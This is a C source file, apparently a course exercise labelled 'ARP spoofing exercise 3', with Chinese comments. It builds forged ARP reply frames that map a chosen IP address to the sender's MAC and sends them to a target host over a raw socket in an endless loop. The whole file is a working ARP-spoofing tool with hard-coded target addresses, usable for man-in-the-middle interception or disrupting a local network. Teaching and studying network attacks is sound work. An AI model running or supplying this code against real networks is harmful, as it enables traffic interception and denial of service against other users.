qfedu-network-advanced-level/day6/n6.c

93 lines
4.2 KiB
C
Raw Normal View History

2023-09-11 20:58:01 +08:00
/* ARP欺骗-练习3
ARP报文MAC地址的全置0.
*/
#include <arpa/inet.h> // inet_addr
#include <netinet/in.h> // in_addr
#include <netinet/ether.h> // ether_aton
#include <netpacket/packet.h> // sockaddr_ll
#include <sys/ioctl.h> // ioctl
#include <net/if.h> // ifreq
#include <unistd.h> // close
#include <string.h> // bzero
#include <stdio.h> // printf
#include <pthread.h> // pthread_create
#include <sys/types.h> // open
#include <sys/stat.h> // open
// 发送原始数据报
ssize_t send_datapacket(int fd, unsigned char *buf, ssize_t buf_size, const char *ether_name);
void *arp_packetdata_send(void *arg)
{
// 创建原始套接字
int sock_fd = *((int *)arg);
while (1)
{
// 发送ARP欺骗应答报文
unsigned char src_ip_pointer[] = {10, 12, 156, 204}; // 发送的 IP 地址
unsigned char dst_ip_pointer[] = {10, 12, 156, 178}; // 目标 IP 地址 点分十进制转换为数字字符串
unsigned char dst_mac[] = {0x00, 0xd8, 0x61, 0x03, 0x45, 0x65}; // 目标 MAC 地址
unsigned char arp_buf[] = {
dst_mac[0], dst_mac[1], dst_mac[2], dst_mac[3], dst_mac[4], dst_mac[5], // 目的MAC地址
// 00:0c:29:85:cc:67
// 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 源MAC地址
0x00, 0x0c, 0x29, 0x85, 0xcc, 0x67, // 源MAC地址
0x08, 0x06, // ARP帧类型
0x00, 0x01, // 硬件类型
0x08, 0x00, // 协议类型(IP协议0x0800)
0x06, 0x04, // 硬件地址长度(MAC地址长度) 和 协议地址长度(IP 地址长度)
0x00, 0x02, // 操作类型(ARP应答0x0002)
0x00, 0x0c, 0x29, 0x85, 0xcc, 0x67, // 发送方MAC地址
src_ip_pointer[0], src_ip_pointer[1], src_ip_pointer[2], src_ip_pointer[3], // 发送方IP地址
dst_mac[0], dst_mac[1], dst_mac[2], dst_mac[3], dst_mac[4], dst_mac[5], // 目的MAC地址
dst_ip_pointer[0], dst_ip_pointer[1], dst_ip_pointer[2], dst_ip_pointer[3] // 目的IP地址
};
// 单播发送ARP应答报文
ssize_t len = send_datapacket(sock_fd, arp_buf, sizeof(arp_buf), "ens38"); // ens38 为网卡名
}
}
int main(int argc, char const *argv[])
{
// 创建原始套接字
int sock_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (sock_fd < 0)
{
perror("raw socket");
return -1;
}
// 创建线程发送ARP欺骗应答报文
pthread_t tid;
pthread_create(&tid, NULL, arp_packetdata_send, &sock_fd);
pthread_join(tid, NULL);
close(sock_fd);
return 0;
}
ssize_t send_datapacket(int fd, unsigned char *buf, ssize_t buf_size, const char *ether_name)
{
// 1. 根据网卡名获取网卡索引
struct ifreq ether_req;
bzero(&ether_req, sizeof(ether_req)); // 清空结构体 ether_req
strncpy(ether_req.ifr_name, ether_name, IF_NAMESIZE); // # define ifr_name ifr_ifrn.ifrn_name // 将网卡名复制到 ether_req.ifr_name 中
// 通过网卡名查找网卡索引 SIOCGIFINDEX 为获取网卡索引
if (ioctl(fd, SIOCGIFINDEX, &ether_req) == -1)
{
perror("ioctl");
return -1;
}
// 2. 选择发送数据的网络接口索引
struct sockaddr_ll sll;
bzero(&sll, sizeof(sll)); // 清空结构体 sll
sll.sll_ifindex = ether_req.ifr_ifindex; // # define ifr_ifindex ifr_ifru.ifru_ivalue // 选择发送数据的网络接口索引
// 3. 发送数据
ssize_t len = sendto(fd, buf, buf_size, 0, (struct sockaddr *)&sll, sizeof(sll));
return len;
}